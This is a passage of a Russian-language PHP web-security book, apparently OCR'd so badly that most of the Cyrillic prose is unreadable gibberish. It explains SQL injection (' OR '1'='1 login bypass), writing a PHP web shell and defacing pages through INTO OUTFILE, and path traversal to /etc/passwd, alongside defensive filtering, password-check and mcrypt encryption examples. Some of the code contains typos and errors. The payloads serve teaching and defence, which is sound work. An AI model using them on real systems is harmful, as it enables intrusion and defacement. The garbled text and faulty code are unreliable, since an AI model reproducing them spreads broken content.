MCITOJIb30BAHME CpaBHEHUs '1'='1 (MoxeT ObiTh 1 Ge3 KaBblueK, B 3aBUCHUMO-
CTH OT THNAa M3MeHsieMoro napamerpa). Yro sro takoe? JonycTHm, 4to y Bac
ecTh 3anpoc:

SELECT *
FROM Mma TaOimukl
WHERE Ione="'$llepemennas’
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Tenepb mpeacTaBUM, YTO $Mepemennas HOCTYIHA XaKepy, U 3HaYeHWEe B HeW
He nposepsercst Ha cayxebHsie cumBoasl SQL. Cambiit npocToit crnocob ysu-
IeTh ColepKMMOoe Beeil Tabnuibl — BCTABUTh B NEPEMEHHYIO CENYIOLIEE:

3Hauenne' CR 'l'='1l

Teneps 3anpoc OyaeT BbIMANETh TAK:
SELECT *

FROM Mmsa_TaOmmist

WHERE [lone="'3Hauenue' OR '1l'='l"

B cexkumn WHERE /IBa YCJIOBMSI CBSI3aHbI ONEPATOPOM OR, M CTPOKM ByiyT rno-
najnarh B Pe3y/ibTaT, eciiu XoTs Gbl OTHO U3 ycioBHil BhinoigHeHo. Camoe MH-
TEpecHOe — 9TO BTOPOE YCIOBMEe, Te HamucaHo '1'='1'. OHO Bcerja BO3-
BpalllaeT UCTUHY, 4 3HAYUT, B Pe3yJbTaT Monaayt Bce sanvcu Tabnuiubl. Eciu
3anpeTuTh Mcnonb3osaHue B SQL-3anpoce yenosus 1 = 1, To 3tor mnpocToii
MeTon yxe He cpaboraer. KoHe4YHO Xe, YCIOBHE MOXHO 3aMEeHUTh Ha 2 = 2, U
peayabTar OyIer TeM Xe, HO caMoe WHTEPEecHOe, YTO GOJBLIIHHCTBO XaKepoB
(naBepHoe, 99 n3 100) nuwer umenHo | = 1. 5| Ha3piBal0 Takoe ycloBHE BeY-
HO UCTHMHHBIM, MOTOMY 4YTO HHOIO Pe3y/JbTaTa OHO BEPHYTh HE MOXET.

BeuHo MCTHHHBIE 3HAYEHUS MOTYT HCINIOJIB30BATLCH HE TOJIBKO [UIA ITpOoCMOTpa
coiepKMUMoro Tabnuil, HO W JUlsl pacluuperus npas. [lonycTiM, YyTo Ha caiite
ABTOPHM3ALIMSl BBIMOJHEHA B BM/E IPOBEPKH, YTO 3arnpoc BO3BPATWI XOTS Obl
onHy 3anuck. Eciu 310 Tak, monab3oBaresib aBTopusyercs. Hanpumep, BbINO-
HSIETCS CIeAYIOLMI 3arpoc:

SELECT *

FRCM TaGmiua

WHERE user=Suser

AND pass=Spass
Ecnu nonb3oBaresib BBea UMS U napoJib, KOTOPLIE CYLIECTBYHOT B TaﬁJIHIIC, TO
3aMpOC BEPHET COOTBETCTBYIOILYIO 3alHUCh, MHAYE KOJIMYECTBO CTPOK B pe3yiib-
tare GyneT pasHO HyMI0, U goctyn Gyner 3anpeiieH. Ho Mox#Ho MoauduLmpo-
BaTh 3arpoc Cleiyrouinm oﬁpasomz

SELECT *

FROM TabGmmua

WHERE user=$user

AND pass=S$pass OR 1=1
Teneps 3anpoc Bceraa BO3BpAILAET XOTH Obl OOHY CTPOKY, M Xakep MOJy4yaeT
JOCTYN K JaHHBIM, KOTOPbIE HOJIKHbI ObITh 3aKpbIThl OT NMOCTOPOHHETD B30Opa.

Ilpu paszpaboTKe 3anpocoB Bbl MOXETe 3aKjiovaTh 3HAYEHWS B OAMHApHbIE Ka-
BBIYKH MIIA HET. Hanpnmep, C/IieyIollMe OBa 3arpoca WIEHTHYHBI:

SELECT *
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FROM TaBmmua
WHERE id=1

H

SELECT *

FROM TaGmuua

WHERE id='1'

B nepsom 3anpocé nose "id" cpaBHMBaeTcs co 3HaueHueM |, a Bo BTOpoM 3arpo-
Ce MMCI0 3aKII0NEHO B OAMHApHble KaBbMKH. Kasbluku SBASIOTCS 00S3aTENbHbI-
MM, TOJIBKO eCJIH 3HA4YeHHe COMepXKHT Mpobesi, a 3HAYMT, UMEET CTPOKOBBII THIT,
HO §I PeKOMEHOyI0 Memonb3oBath WX Beerma. [Touemy? domnycTum, YTO BMECTO
yucna 1 y Hac (Gpurypupyer 3HaueHHe MepeMeHHON, KoTopas mepeinaercs B [po-
rpamMmy ronbzoBaresiem. Eciin xakep nepemacTt B KauecTBe 3HAYEHMsl VIIPaBIHio-
LiMe cuMBoibl A3bika SQL, To 3anpoc OGyaeT BhIMISLIETh CAeayioliuM obpasoMm:
SELECT *

FROM TaCmmia

WHERE id='_?--%='

Bce 3TH cuMBONBI MMEIOT OMpeHeNeHHBIH CMbICI, HO TONBKO BHE KaBBIUEK.
B naHHOM ciiydae OHU BOCIPUHMMAIOTCSl KAK CTPOKA M HE MOIYT MOBIUSITE Ha
pabory ciienapus. EanHcTBeHHOE, YTO HEOBXOANMO BBIPE3ATh W3 TIEPEMEHHOM, —
Kapbiuky. EciiM Tonb3oBaTenb CMOXET €€ MepeqaTh CLEeHApUIo, TO OH CMOXEeT
u npoussectu araky SQL Injection. Hanpumep:

SELECT *

FROM Tafmmua

WHERE id='1' OR 1='1'

B kadecTBe 3HAYEHHs MepeMEHHOM XaKep Mepeman CTPoKy 1' OR 1='1l, B KOTO-
poii nocne uyucna | 3akpeinach KaBbluKa, U J00aBieHbl JTOMOJHUTENbHbIE Mapa-
metpsl B SQL-3anpoc.

Takoil nmpocToil METON MO3BOMSET YCIOXKHUTH Xakepy xu3Hb. Ho npu stom He
cTouT 3a6bIBaTh Npo cymectsoBaHue araku CSS (Cross-Side Scripting, Mexcaii-
TOBBIE ClLIEHAPUH), 0 KOTOPOif MBI MOTOBOPUM B pazdene 3.11.

3.8.3. Pabora ¢ paitnamu

Yepes SQL-3anpockl xakepbl MOTYT MOJYYUThL A0CTYN K (aiinosoi cucreme. Ha-
nmpumep, caeayioutnit koa coxpanser B PHP-daiine cuenapuii:
SELECT '<?php system('napamerpua') ?>' INTO OUTFILE 'shell.php'

TakuM o6pa3oM, XaKep MOXET CO3/1aBaTh HA CEPBEpE CLIEHAPUH CO CBOMM KOIOM
CO BCEMM BBITEKAIOUIMMH TIOCHeCcTBUAMU. A ecau (aiinbl cueHapUeB NOCTYIHbI
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JUTSL 3afUCH BCEM [TOJIb30OBATENSIM, TO XaKep MOXeT INepesanmncarh ykKe cyllecr-
Bytoutnit aitn, a 3To yxe upesato nedeiicom.

SELECT '<B>You hacked</B>' INTO OUTFILE 'index.php'

Xakepsl o4eHb yacto Hcnonb3yioT SQL-koMmanmy INTO OUTFILE UIA CO3MAHHA
namna tabnaui 6asel gaHHbIX. Hanmpumep, B3TOMINMK MOJTYYHI JOCTYI K BbINOJ-
HEHHIO KOMaHI U, COXpaHssl pe3ylbTaT CBOMX 3anpocoB B TeKcToBoM daiiie, Mo-
xeT notoM Ge3 npobiieMm ckayark 3toT daitn wig pasbopa B csoboiHOE BpeMs 3a
yaleukoi Kode.

3.8.4. NpakTtuka pabotbl ¢ 6a3amMu gaHHbIX

O6pauiaite BHUMaHHE HA BCE MEPEMEHHBIE U MapaMeTphli, KOTOPbIE UCMOJIb3YIOT-
ca npu dopmupoBaHuu 3anpoca. [axe ecnu bl gymaere, YTO [0JIb30BATE/b HE
MOXET MMOBINSATE HA CONEPXKMMOE MepeMeHHBIX, HEoBXoMMMO MPOU3BOANTH BCE
nposepku. CeroaHs nepeMeHHas 3a/laeTcsl CTATHYECKH B ClieHApuM, a 3aBTpa oHa
MOXeT 3azaparbes uepes crpoky URL.

Ouenb vacto, paspabarkiBasi caiiT, NporpaMMMCTBI COXPaHsOT B Tabuuue Gasbi
NAHHBIX CONEPXKMMOe ocHOBHOI yacTH Web-crpanuu. CrpykTypa Tabauibl MOXET
ObITE 110601, HO CMBIC TTOYTH BCEra OAMH — KIIOY M MOJs, KOTOPLIE colepxkar
naHHbie, oToOpaxkaemsble Ha cTpanuie. Ctpoka URL s takux caiiTos BBICISAMT
creayiouum obpasom:

hitp://www.sitename.com/index.php?id=N

Yepes crpoky URL nepenaercst mapamerp id, KOTOPOMY MpPUCBAUBAETCS YMCIIO-
Boe 3HauyeHue. Mimsi mapamerpa MoxeT OBITH OpyrMm (daile s BCTPEYaio MMEHHO
id), HO CMBICJI 3TOFO MapaMerpa — MAEHTU(UKATOP CTPOKU B Tabiuie, TaHHbIE
KOTOpPOH HY)XHO OTOOPasUTh Ha CTpaHMLIE.

Korma nons3osarenb 3ampalliiBaeT ONpeje/NeHHYI0 CTpPaHMIly, MPOHCXOIMT clie-
Jyioliiee:

1. C nomoiuusto PHP-kona sarpyxaercst u3 daitna wanka crpaHmis.

2. U3 rabnuusl 6a3sl JaHHBIX 3aMpallMBaeTcsi CTpoka ¢ uaeHTHdUKATOpOM, Te-
pPEAaHHBIM B Ka4€CTBE MapaMeTpa.

3. Ha ocHose nonyueHHoil crpoku cdopmupyercs Web-crpannua.
4. 3arpyxaercs H oToOpaxkaercsi MoaBajl CTPaHHILbI.

JlioGoit xakep, Korna oH 3axoauT Ha Web-caitt 1 suaut B ctpoke URL napamerp id,
MepBBIM JEJOM IbITAETCSI MOACTABUTL B HEro cjyxebubie cumBosibl SQL, koro-
phie Mbl paccMarpusann panee. Ecnu cueHapuit He GuiIbTpyeT nepenaHHbie CHM-
BOJIBI, M NIPH 3TOM Ha CTpaHMle oTobpaxaercs omubouHblit SQL-3anpoc, To xa-
KEp MOXET OIpPe/IeIUTh:

0 ucrnonb3yembie Ha caiiTe 3ampockl;
O npubnu3nuTeAbHYIO CTPYKTYPY TAOIMIIBL U 6236l JAHHBIX.
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JansHelye OEHCTBUSA — MONBITATLCS C MNOMOIIBIO CHYXKEOHBIX CMMBOMOB MO-
muunuposars SQL-3anpoc TakuM obpazom, 4tobbl Moay4uTh Bonblune npasa,
YBHIETh 3aKPBITYI0 0OMacTh caifTa, YHHYTOXHMTH WIM TOAMEHWTH JaHHbie (T. e.
BBIMOJTHUTE Aeceiic).

Yr1o6bl MMUHUMHM3MPOBATH BEPOSTHOCTh OWIMGKM, XENaTeNbHO HanucaTb QyHK-
LM10, YOUPAIOLILYIO BCE HEIOMYCTHMBIE CHMBOJIBI, 1 NIOTOM BbI3bIBATH €€ Ul Kak-
JIOTO MapaMeTrpa, UCIoIb3yeMOro B 3arnpocax:

function prepare_param(S$param)
{
return preg_replace("/[%a-zA-Z0-9 ] |insert|delete|update/i",
"", Sparam);
}
mysqgl_query ("SELECT * FROM Users WHERE name=",
prepare_param(Sname) ) ;

Ecnu BHISICHMTCS, YTO B BallleM PEryJsipHOM BBIpAXEHMM JOMylleHa oludKa M
XdKEp cMoOr BOCIOJb30BATHCA YA3IBHUMOCTbLIO, TO NOCTATOYHO TOJBKO MMOANPaBUThL
byHKIMIO prepare_param(). Toraa Bce napaMeTpsl, KOTOPbIE MPOBEPSIOTCS 3TOH
dyHkuueit, craHyt Gonee 3alMIIEHHBIMHU.

HanbGonee onmacHeIM MECTOM SIBJISIETCS MPOBEPKAa HMEHH MOJL30BATENsI M Mapo-
. Bee cneumanucersl B OJJMH TOJIOC TBEPHAT, YTO Mapojb AONKeH ObITh Mak-
CHMAJIBHO CIIOXHBIM, YTOOBI HCKTIOMHTE Noa6op no ciosapio. g sToro B na-
pojie [OJKHBI OJHOBPEMEHHO CcoAepXaThcsl OYKBbl B BEpPXHEM M HIDKHEM
perrcTpe, uMdpB W Apyrue CMMBOJBI (MOIYEpKHBAHKME, TUPE M T. A.). OnHaxo
C 3TUMM CUMBOJIAMH 4Yallleé BCEro BO3HUKAIOT npobiieMbi, ec/U Balla MpoBepKa
BRITTIAANT Kak:

SELECT *
FROM Users
WHERE Name=$Name AND pass=S$pass

Yaue Bcero MCroib3yercsl 3alpoc MMEHHO Takoro BWUAA, M YCIOBHE MPOBEPKH
napojsi HaxoAMTCsl B KoHLe 3anpoca. Eciu B napone He 6yayt ¢uiabTpoBaThes
ClieUHaIbHBIE CHMBOIJIBI, TO XaKEP JIETKO CMOXET MMOJYYHUTDL JOCTYIT K 3alpelieH-
HOW 30HEe MJIM BOMTH TOL MMEHEM JApyroro nmoJib30BaTes. Botr u NMPHUXOOUTCH
BBIOMPATh — WM MPElOCTABMTH MOJb30BATENAM BO3MOXHOCTH 3a0aBATh CIIOXK-
Hbie MNapoiu ¢ Mo0OBIMM  CHMBOJIABMM WK OTPaHHYNTRECA TOJBKO 6YK‘BCHHO-
G POBEIMU NAPONSAMU, HO 00€30ITacCUTh CLIEHAPUU cepBepa.

B peanbHBIX NporpaMMax He peKOMEHIyeTcsl XpaHWThb MApoal B OTKPBITOM BHILE.
Ouu no/pKHBI Beerna iundposarbes, HanpuMep, ¢ NoMoubio mdS, U XpaHWTbCS
B 6a3e maHHBIX U B daitnax cookie B 3ammdpopaHHoM Buae. B 3TOM ciiyyae Helb-
351 M3 napojigd YIandaTh ClielHalbHbIE CHMBOIBI, HHAY€ Mbl HApPYIUHM X3LI-CYMMY,
W cpaBHEHME [BYX 3alllM(ppOBaHHBIX NMapojieil MOXeT BbIAATH HEBEPHBIH PE3yJIbTAT.
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Ora npobiema peuraercs JOCTATOYHO MPOCTO — HE HCITONb3YHTE IMepeMeHHYIO
c maposiieM B 3anpoce. B aToMm ciyyae nposepka napois JA0KHA BBITOJHATHCS
MpUMEpHO crenylommum obpazom:

$query = DBQuery("SELECT * FROM Users WHERE (name = 'Sname');

Susers = mysql_num_rows (Squery) ;
if (!$users)
die("OummGxa aBTOpMzaumu");

Suser_data = mysgl_fetch_array($query);
if ($pass = Suserd[pass]))

B pmanHoM ciydae Mbl BBINMOJHSEM 3anpoc K 0ase JAHHBIX C MMOMCKOM 3alucH
TOJBKO 1O UMEHH, NMOTOMY YTO 3TOT NapaMeTp Mbl MOXEM MNPOBEPATH Ha HEMO-
[ycTHMBlE CHMBOJIBI. 3areM MpoBepsieM KOJMYECTBO MOJy4eHHBIX cTpok. Ecam
OHO PaBHO HYJIO, 3HAYMUT, 3aNUCH He HailneHsl, U pabora cuUeHapus NOJKHA
OwiTh mpepBaHa. Eciu cTpoka mosik3oBatess HaiaeHa, To MOJy4yaeM ee JaHHBIE U
C MOMOLLIBIO Oneparopa if NMpoBepsieM Mapob. .

®yukus pBQuery () He sBisiercs dyHkuueit PHP, sro namcrpoiika, Kortopas
MOXET BBIMIANETH CASAYIOLUM 0bpasoM:
function DBQuery (Svar)
{
$query = mysql_query($var);

if (!Squery)
{
// 3meck Moxer OHTH coobmeHue o6 ommbke
exit;
}
return Squery;
}

Taxoit cuenapuit 3ammined ot araku SQL Injection. B pazdese 5.3.3 mbi pac-
CMOTPUM HHTEpPECHBIH MpHUMep ayTeHTH(HMKALMMK M 3aKpPenuM 3HAHMUS O MapOJsX
Ha MPaKTHKE.

3.8.5. MHumasn 3awura

OnHaXKIBL 51 BUIE, Ka3anoch Obl, JOCTATOYHO XOPOLIEE pellieHHe C TOYKH 3PeHHs
tesonacHocT. [Tporpammuct HeGosblIoro caita cosnan 6asy DaHHBIX BCEX BO3-
moxHbix URL-anpecos, W mnepen 3arpy3koil Kakoii-1mbo cTpaHHUIIbl POUCXOMMUT
mpoBepka Hanuumsa angpeca B O6ase naHHbiX. Ecim URL B 6Gase mpucyrersyer,
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TO 3arpy3Ka paspeluaercsi, a eclii HEeT, TO BLIMOJHEHHE CLIeHAPUS TIPEPBLIBAECTCS.
Bpone G6bl Bce uueanbHo, Beib xakep He Moxer nHabpars URL, koroporo Her
B Baze, HO HUYEro MaeaANLHOTO He OLIBaeT.

Insi nposepku ponycrumoctt URL menonssyercst npumepHo cieayroimmii da-
npoc:

SELECT *
FROM Tabmua
WHERE ValidURL=Surl

[IpoGneMa 3akiriouaercs B TOM, UTO IS NMPOBEPKH MCIONB3yeTcs 3anpoc K Oase
JaHHBIX, @ 3HAYUT, Xakep Moxer nepemath takoit URL, kortopsiit Moxer Hapy-
HWINTL NpoBepky. Tak 4To maxe MHPH HMCMOILIOBAHHH ITONO BapHaHTA 3alATHI
HeoOXOIHMO NpPOBEPATH MMEPEMEHHYIO Surl (KoTopasi JOJKHA COAEpXaTh TEKy-
wuin URL) na neponmyctumbie cumpoinbl. [lomyuaercsi, uro 6asa maHHbIX Oec-
CMBIC/IEHHA, Be[lb MPOBEPKH BCE PABHO HEOOXOMMUMEL.

3anaya MPOBEpPKH MPHW KCMONb3OBAHMM TAKONO BapHAHTA 3aLUMTHl YCIOXHAETCS
teM, uyto ctpoku URL mns PHP-cuenapuer Moryr comepxarh rnapamerTpbl, U B
3TOM cllyyae OT CHelHaJbHBIX CUMBOJIOB ? M & YXe HUKyjna He perses. [lepBoe,
YTO NPUXOAUT B ronosy, — neperectu comcok URL u3 Gasel gauusix B daitn.
Or0 pelieHKe ellle Xyxe, rnoroMy uto pabora ¢ (aiiiaMu TakoKe Jajleka ot uaeana
u HebGeszonacHa.

EauncTBeHHBIN ciyuaii, Korna MOXHO MCMONL30BaThH MON06HYI0 3aumuTy 4 oHa Gy-
net peiictButensHo addexTusHol, — 310 npocroit caiit, rue yepes URL nepena-
eTcA TOJIBKO OJIHA MepeMeHHasl id, KOTOpOil NpUcBauBAeTCsl YMCJIOBOE 3HAUYEHIE.
B aroMm ciyyae nepeMeHHyI0 $url JOCTATOYHO MPOCTO MPOBEPUTH 110 11ABIOHY:

"http: //www.sitename.com/index.php?id=[0-9] {1,}"

CHayana nepeMeHHasi IPOBEepPAETCS Ha COOTBETCTBUE STOMY IABIOHY, M eclu Bee
HOPMAJILHO, TO TOJILKO [10C/Ie 3TOro NMPOKEXOIUT NpoBepka 1o 6ase JaHHBIX.

Takoii BapMaHT 3alIMTHEL XOPOII TOJLKO JUIA MPOCTHIX CLEHAPHEB, KOraa 4yepes
URL npenaercst He Gojiee nBYX napaMeTpoB, M 3TH NMapaMeTpbl JIErKO OMUCcarth
¢ nomolibio wabnona. Eciu napamerpbl CAMIIKOM CHOXHBIE, TO QAKe CO3MaTh
takyio 6asy byner npobiaemarnuHo, XoTs1 ObI H3-3a ee padmepa.

3.9. Pa6ora c chainnamn

Teneps obcynnm, uro Heobxoanmo (uibrpoBars npu padore ¢ daitmamu. Urobul
npouie 6bUIO MOHUMATB Npobremy, BCIOMHUTE MMPUMEP, KOTOPBIH MBI paccMar-
puBaau B pazdere 3.4.1. Mue ynanock Banomark caiiT mMeHHO Graromapsi Herpa-
BWIBHOMY OOpalleHHIo ¢ napaMmeTpaMu, MCIojb3yeMBIMH B (ainoBoil cucTeme.
Dyukinn paborst ¢ daitiopoil cucreMoit MBI YXe BUIEIH B pasdene 2.]4, a ceii-
yac OCTAHOBMMCsI Ha 6e30MacHOCTH.
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Kak Bcerna, abconioTHoi 6esonacHocTU He ObIBAeT, HO eCii CHIefoBaTh fepevuc-
JIEHHBIM HIKE PeKOMEHOAUMSM, BEpPOSTHOCTh OUIMBGOK B CUEHAPHUM COKpaTHTCH
B HECKOJIBKO pas:

1. Crapaiirecs obpauarbesi K aitnam Tonbko B Tekyiiem karaiore. Ecin HeoB-
XOMWM APYTOoH Karajor, TO HUKOTHA HE WMCIOAb3yHTE OTHOCHTEIBHBIE TYTH,
d TOJBKO TIOAHBIN MYTh OT KOpHA (daitioBoit cucTeMbl. DTO MO3BOIUT M3be-
JKaTh TIPH YKa3aHUM ITYTH OMACHBIX CMMBOJIOB, TAKMX KAK IBOWHAd TOYKA MJIM
cisu. B OC Windows onmacHbl Kak npsMoil, Tak U o6paTHblit cii3il, MOTOMY
YTO B 3TOIl ONepalMoOHHOH CHUCTEME TIpH YKa3aHWM ITyTH HCrobayioTes oba
cumsosnia, Tlpu HeobxomumocTH obpatuThes K (aitiaM He U3 TEKyllero Kara-
nora, 6e3 cnsuieil oGOUTHCH HE YIAcTCs, HO €C/IM YKa3hiBaTh MOHLIA NyTh OT
KOPHSI, MBI MOXEM M30eXaTh NCTOMb30OBAHUS IBOHHON TOYKH.

2. Wcxons u3 npenbiayuieil pekoMeHAalnKu, HeobXoauMMo (pUIBTPOBATE ABOWHYIO
TOYKY ¥ ci3ul (obpaTHblit cioun), uToObl Xakep He CMOT YKa3aTh OTHOCHTENb-
HOro TMyTH K cUCTeMHBIM KatanoraM. Ecii nocMmorperh uetopuio 6GiojieTeHeil
Oe3onacHoCTH, TO Bbl YBHAKUTE J1OCTATOYHO MHOIO cOOOILIEHHI, B KOTOPBIX Xa-
Kep cMor Gnarosjaps ownbke Mcrnoab3osaTh MyTh THna ../../../../../etc/passwd
M MPOCMOTPETH CIMCOK I0JIb30BaTe el CUCTEMBI.

3. Cnenure 3a npasaMu jgoctyna K dainam. s 3anucu BceM MOTB30BATENISIM
HOJDKHBL OBITH AOCTYNHBI TOMLKO AENHCTBUTENLHO HeoOXonuMele daitnsl, a nyy-
uie, yToOsl 1S 3anUcH HUYEero He ObUIO JOCTYITHO.

W Bce ke, 1 He pEeKOMEHAYI0 UCIOIb30BaTh obpalueHusi K daitnoBoit cucreme,
e Ha MYTh MOXET IMOBIHUATH MNojb3oBatenb. [Tocrapaiitech HailTH npyroe peiie-
HUEe NpobreMsl, a IyUlle UCTIoNb3yiiTe 0a3y NaHHbIX.

Korna HEBO3MOXHO HAMTH MHOE pelleHue, YeM MO3BOTUTH MOJIb30BATEIO BAU-
ATh Ha Gailn W nyTh, HeoGXOAMMO ObITH MpENeAbHO BHUMATENbHLIM. Hampu-
Mep, Ha (opymax o4eHb YACTO MCMOJIbL3YIOTCH KaApPTHHKH, KOTOPbIE MOKHO BbI-
Ouparb s orobpaxeHusi Hax cBoUMH coobmenusmu. B maHHoMm ciayvae
MOXHO M36exarh yKasaHus Nnyrtd K ¢aiiy yepes nepeMenuyio. s storo see
MyTH K KAPTHHKAM MpornuceiBaloTes B Tabnuue 6assl AaHHBIX, @ MONB30OBATE/lD
MOJIKEH TOJNBKO yKa3arh uaeHTH(hUKATOp HeoOXOAMMOl 3anucH, W NyTh YyXe
Oyner uasjiexarbest U3 6asbl.

3.10. Kpunrtorpacpus

3a Bpemst HanucaHust 3TOH KHUTH (8 MecsilieB) s TECTHPOBAI JOCTATOYHO MHOrO
cafiToB M MPOCTO clieHapues Ha Ge3onmacHoCTh, cTapasich BLISIBUTHL Haubosee pac-
MpocTpaHeHHBIe OUOKM MPOrpaMMHUCTOB U OMUCATh MX, YTOBHLI BbI HE MOBTOPS-
Jin omubky apyrux. Mou MccreqoBaHUS MPULUIM K TOMY, YTO NMPOrpaMMHUCThI He
mobAaT ucnonbilopark WKdpoBaHue, a, MOXeT ObITb, CUUTAIOT TY TEMY CIMILKOM
cnoxHoit u u3beraior ee? M nmonbiTalock NMOKa3aTh BaM, 4TO IWGppPOBAHKHE MPOCTO
Heobxonumo, U Bbl yoenurecs, yro ¢ PHP 310 He Tak yX M cloxHo.
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Bce maponu, KoTopble XpaHATCSl HA cepBepe, NOMKHBI WMppoBatees. Takue gam-
HblE HOJDKHBI XPAHUTHCS B HEUMTAEMOM BUIE, NAXKE €CU Bbl YBEPEHBI, YTO BINOM
HeBo3MoxeH. Mcropus HoKaselBaeT, YTO B3JIOMAaTh MOXHO BCE, XOTS OBL M camyio
3ALMIIEHHYIO CUCTEMY, BOMPOC TOJBKO B TOM, KaK AANEKO MOXET IMOMTH XaKep.
Ecnn xakep cmor nosny4uts Gasy HaHHLIX MMOJb30BATENed C MApPONsSIMU, ¥ TPH
3TOM BCE HAHHBIE HAXOMATCA B OTKPBITOM BMIE, TO 3alaya B3JIOMILMKA CHIBHO
ynpouaercs. Ecnu Xe naponu 3auiMgppoBaHbl, TO UX MPUIETCs elle U pacurrd-
POBBIBATD.

Uem Oonee cTOlKMiIl airoput™M WIHGPOBAHUS TPUMEHSIETCS B CHUCTEMe, TEM
cnoxHee Oymer xakepy packpbiTh Heobxoaumylo uHbopmauuio. Ecnu naposiu
JIOCTaTOYHO JUIMHHBIE W CIOXHBIE, TO 3axa4ya nonbopa Gyaer TpeGoBaTh CIMLIKOM
Oonblumx 3arpar, M OONBIIMHCTBO XaKepoB MpocTto OpocHT 3Ty 3arTeio U Oyner
WUCKATh JIPYroif BapuaHT peiueHus npobieMbl.

WUrak, mobsie naponn B 6ase NaHHBIX HYXHO wwHdpoBath. I B CBOMX MpoOeKTax
wndpyio ¥ MMeHA MOJb3oBaTeNeil ¥ HUKOIIA He XpaHi0 UX B OTKPBITOM BMIE,
eciiu HET ocoboii HeobxoaumocTH. S Gl wHpposan abcoNOTHO BCE MOJISI, HO 3TO
Gyner canIIKOM HAKIAIHO [UIs cepBepa.

Wrak, nepeiinem HenocpeictBeHHO K wudposanuio. Her, HaM He npuaercs
NPHAYMBIBATE WIN PEAIM30BLIBATE KAKON-1UO0 AIrOPNTM CAMOCTOSITEIbHO, XOTS
M 9TO BO3MOXHO. MBI Bocnonb3yeMest yxke rotoseiMu (yHKuusiMu. Peannzosarn
JNeHCTBUTEIBHO CTOMKWI aJropuT™M CIMIIKOM ciioxHo. Hanm stoil Temoii 6percs
JIOCTaTOMHO OGOJBIIOE KOJMYECTBO BEJIMKUX MAaTeMaTHMKOB, MO3TOMY He Oyaem
¢ HUMH COPEBHOBATBCSH, @ BOCIOJNb3yeMCs YKe roToBbIMM aliroputMamu. Tem Go-
Jee, 4To B OONMBIIMHCTBE CJYYaeB UX BIOJHE A0CTATOYHO.

Indposanue Moxer OBITb CUMMETPHYHBIM, ACHMMETPMYHBIM WJIM HeoGpaTi-
MBIM. MBI paccMOTpHM Bce TPH BMOA M HAYHEM C CAMOrO MPOCTONO0 — CHUMMET-
PHYHOTO,

3.10.1. CummeTpuyHoe wncpposaHne

CummeTpuyHOe IHpoBaHHe MOABUIOCh caMbiM miepBeiM. [na wwudpopaHms
JIAHHBIX UCTIONB3YeTCH KITIOY, KOTOPBIM CHYXKUT ¥ i neuiudpokn naHHsx. Ca-
MBLit IPOCTOI BapUMaHT 3alM(pPoOBaThL CTPOKY — BLITMOJHHTE JIOTHYECKYIO Oriepa-
uuio XOR Han maHHbiMM M kiovom. st paciingpoBkU TpeByeTcsi MOBTOPUTE
oneparuio.

Kakoit 661 cloxXHblil aTropuT™ Bbl HH UCIIONB30BAIN, ¥ CUMMETPUYHOTO wudpo-
BAHMS €CTh HECKOJIBKO OYEHb CEPhE3HBIX HEIOCTATKOB:

O OnpuH KIIOY Mcnojb3yercs Ui WwudpoBaHus u aewudposanus. Takum obpa-
30M, OTMPaBUTE]Nb W MOJYYaTeNb 3alM(POBAHHBIX TAHHBIX NO/DKHBEL obianarTh
ONHMM M TeM Xe KiTouoM. A Kak oOMeHsThcs kmiogamu uepes HHTepHer,
Korjaa ata cBf3b oTKpbiTasn? JonycTHM, YTO Bbl XOTHTE MOOBILATECS CO CBOMM
IpYroM M3 Apyroro ropojga 1o 3JeKTPOHHOI novre, He 6osich, YTO KTO-TO
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MOACMOTPUT Bawly nepenucky. OOUH M3 Bac MOJKEH MPUAYMATh WJIM CreHe-
PUPOBATH KJTIOY, C MOMOLIBIO KOTOPOro OyZeT MPOMCXOAWTL WH(pPOBAHKE, U
BBICJIATh Yepe3 e-mail ceoeMy KoppecrnioHaeHTy. Eciu wiiou He 6bUI nepexsa-
YeH, TO focieaywlue 3almndpoBaHHble cooblieHUs MOXHO cyuTarh bonee-
MEHE€e 3aKpbIThIMM, HO €C/IM MUCHMO C KII0YoM ObUIO nepexsayeHo, To ud-
pOBaHHE CTAHOBUTCA GeccMBICTIEHHBIM.

0O Xakepsl yTBepXAaloT (M 3TOMY NOCTATOYHO HCTOPHYECKMX MOATBEPXKICHMIA),
yto HMH(pOpMALMs, M3BECTHasl [BOMM, MOXKET cTaTh HoOCTynmHoil Bcem. EcThb
MHOI'o ¢rnocoboB MojyyeHUust HYXKHOW WH(OPMALIMK C MMOMOIILIO COLMAILHOM
MHXEHEePHH.

U Bce xe, CUMMETPUYHOMY LIM(DPOBAHUIO MOXHO HAUTH MHOXeCTBO 3¢ peKTHB-
HeIX npumenenuit. Hanpumep, wudposanue naHHeix Ha cepsepe. Jdonyctum, 4ro
HeobxomuMo 3ammndpopats Kakoif-1ubo A0KyMeHT, YyToObl Xakep, B3lOMaB cep-
Bep, He CMOr YBMIETb ero comepxumoe. [lokyMeHT He Oymer MepenaBaTbcsl MO
CeTH, @ 3HAYUT, HHKOMY HE HY)XHO OTHABaTh KJIIOY, MO3TOMY MEpPEXBaTHTh €ro He
yaacres.

K Haubonee pacnpoctpaHeHHbIM AITOPUTMAM CHMMMETPUYHOrO LUMMpPOBaHUsS OT-
Hocsitesi DES, 3DES, Blowfish, CAST 128 u 1. a. Camslit npoctoii cnocob 3a-
wndpoBaTh HaHHBIE — BOCHOJb30BaThesl (pyHKUMEH merypt_ech(), KoOTOpas
MPpUHKUMAET YEThIpe napaMerpa:

0 koHcraHTy, yKasbiBaiouiyio Ha atroput™. Mutepnperatrop PHP mns wmudpo-
BaHUA Hcnonb3yer 6ubGnuoreky libmerypt, KoTopas nonnepxupaer Gojbluoe
KOJIMYECTBO @ITOPUTMOB, MOITOMY paccMaTpMBaTh WX BCE HET CMbIcia, HO Oc-
HOBHbIE KOHCTAHTHI 3HATh HE0OXOAMMO!

e« MCRYPT_DES — anroputm DES;
e MCRYPT_3DES — anroputm 3DES;
e« MCRYPT_BLOWFISH — anropurm Blowfish;
¢ MCRYPT _CASTI128 — anroputm Cast128;
e MCRYPT _CAST256 — anroputm Cast256;
O kiioy;
0O nanxble wia wudposaHus;
O pexuM. 31ech MOXHO YKa3aTh OJHO U3 ABYX 3HAYEHMH:
e MCRYPT_ENCRYPT — zamndpoBars JaHHEIE;
e MCRYPT_DECRYPT — pacuudposars.
PaccmorpuM npocteiiunii npumep wndposanus no anropurmy DES:

<?php
Skey="s10 wmu";
Stext="CoofmeHne, KOTOpOe OOIEHO OHTE SaumpposaHo”;
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$str=mcrypt_ecb(MCRYPT DES, $key, $text,
MCRYPT_ENCRYPT) ;

7>

B pesynbrare B mepemeHHoii $str Oymer coxpaHeH 3aunmpoBaHHBIH TEKCT U3
